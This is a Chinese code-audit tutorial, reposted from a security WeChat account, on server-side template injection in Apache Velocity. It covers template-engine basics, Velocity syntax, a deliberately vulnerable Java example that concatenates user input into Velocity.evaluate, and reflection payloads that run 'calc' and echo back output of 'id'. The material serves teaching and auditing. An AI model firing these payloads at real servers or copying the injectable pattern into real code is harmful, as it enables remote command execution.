第七课-系统学习代码审计:SSTI模板注入

admin 2024年7月26日22:33:38评论14 views字数 3517阅读11分43秒阅读模式

视频教程:

https://space.bilibili.com/482887446?spm_id_from=333.1007.0.0

主要内容:

1、SSTI模板注入

2、Velocity语法

3、Velocity注入示例

4、payload讲解

进群私信就行了,之前放的二维码一直有光改进去

模板引擎

    模板引擎(这里特指用于Web开发的模板引擎)是为了使用户界面与业务数据(内容)分离而产生的,它可以生成特定格式的文档,利用模板引擎来生成前端的html代码,模板引擎会提供一套生成html代码的程序,然后只需要获取用户的数据,然后放到渲染函数里,然后生成模板+用户数据的前端html页面,然后反馈给浏览器,呈现在用户面前。

    模板引擎也会提供沙箱机制来进行漏洞防范,但是可以用沙箱逃逸技术来进行绕过。

SSTI模板注入

    SSTI 就是服务器端模板注入(Server-Side Template Injection)当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。

    漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。

    凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。

Velocity开发案例

 <dependencies>        <dependency>            <groupId>org.apache.velocity</groupId>            <artifactId>velocity-engine-core</artifactId>            <version>2.2</version>        </dependency>    </dependencies>

在resources 目录下创建模板文件

<!DOCTYPE html><html lang="en"><head>    <meta charset="UTF-8">    <title>Title</title></head><body>hello , ${name} !</body></html>

编写java代码:

  public static void main(String[] args) throws IOException {        // 1、设置velocity资源加载器        Properties prop = new Properties();        prop.put("file.resource.loader.class", "org.apache.velocity.runtime.resource.loader.ClasspathResourceLoader");        // 2、初始化velocity引擎        Velocity.init(prop);        // 3、创建velocity容器        VelocityContext context = new VelocityContext();        context.put("name", "Hello Velocity");        // 4、加载velocity模板        Template tpl = Velocity.getTemplate("vms/velocityDemo.vm", "utf-8");        // 5、合并数据到模板        FileWriter fw = new FileWriter("/Users/zhenghan/Projects/Velocity_test/src/main/resources/velocityDemo.html");        tpl.merge(context, fw);        // 6、释放资源        fw.close();    }

Velocity基础语法

引用

引用语句就是对引擎上下文对象中的属性进行操作。 

1)变量引用

语法

描述

$变量名

若上下文中没有对应的变量,则输出字符串"$变量名"

${变量名}

若上下文中没有对应的变量,则输出字符串"${变量名}"

$!变量名

若上下文中没有对应的变量,则输出空字符串""

$!{变量名}

若上下文中没有对应的变量,则输出空字符串""

2)属性引用

语法

描述

$变量名.属性

若上下文中没有对应的变量,则输出字符串"$变量名.属性"

${变量名.属性}

若上下文中没有对应的变量,则输出字符串"${变量名.属性}"

$!变量名.属性

若上下文中没有对应的变量,则输出字符串""

$!{变量名.属性}

若上下文中没有对应的变量,则输出字符串""

3)方法引用

方法引用实际就是指方法调用操作,方法的返回值将输出到最终结果中。

语法

描述

$变量名.方法([入参1[, 入参2]*]?)

若上下文中没有对应的变量,则输出字符串"$变量名.方法([入参1[, 入参2]*]?"

${变量名.方法([入参1[, 入参2]*]?)}

若上下文中没有对应的变量,则输出字符串"${变量名.方法([入参1[, 入参2]*]?)}"

$!变量名.方法([入参1[, 入参2]*]?)

若上下文中没有对应的变量,则输出字符串""

$!{变量名.方法([入参1[, 入参2]*]?)}

若上下文中没有对应的变量,则输出字符串""

指令

    "#"用来标识Velocity的脚本语句,包括#set、#if 、#else、#end、#foreach、#end、#iinclude、#parse、#macro等;

如:

#if($info.imgs)<img src="$info.imgs" border=0>#else<img src="noPhoto.jpg">#end

模板注入

示例代码:

//        String username = "外部攻击者可控输入";        String username = "#set($e="e")n" +                "$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")";        String templateString = "Hello, " + username + " | Full name: $name, phone: $phone, email: $email";        Velocity.init();        VelocityContext ctx = new VelocityContext();        ctx.put("name", "test");        ctx.put("phone", "123456789");        ctx.put("email", "[email protected]");        StringWriter out = new StringWriter();        // 将模板字符串和上下文对象传递给Velocity引擎进行解析和渲染        Velocity.evaluate(ctx, out, "test", templateString);        // 输出velocity渲染结果        System.out.println(out);

payload:

#set($e="e")n" + "$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime",null).invoke(null,null).exec("calc")# 带回显的payload#set($s='')##                #set($runtime = $x.class.forName('java.lang.Runtime'))##                #set($char = $x.class.forName('java.lang.Character'))##                #set($str = $x.class.forName('java.lang.String'))##                #set($cmd=$rt.getRuntime().exec('id'))##                $ex.waitFor()                #set($out=$cmd.getInputStream())##                #foreach( $i in                [1..$out.available()])$str.valueOf($chr.toChars($out.read()))#end

原文始发于微信公众号(安全随心录):第七课-系统学习代码审计:SSTI模板注入

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年7月26日22:33:38
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第七课-系统学习代码审计:SSTI模板注入http://cn-sec.com/archives/2998856.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息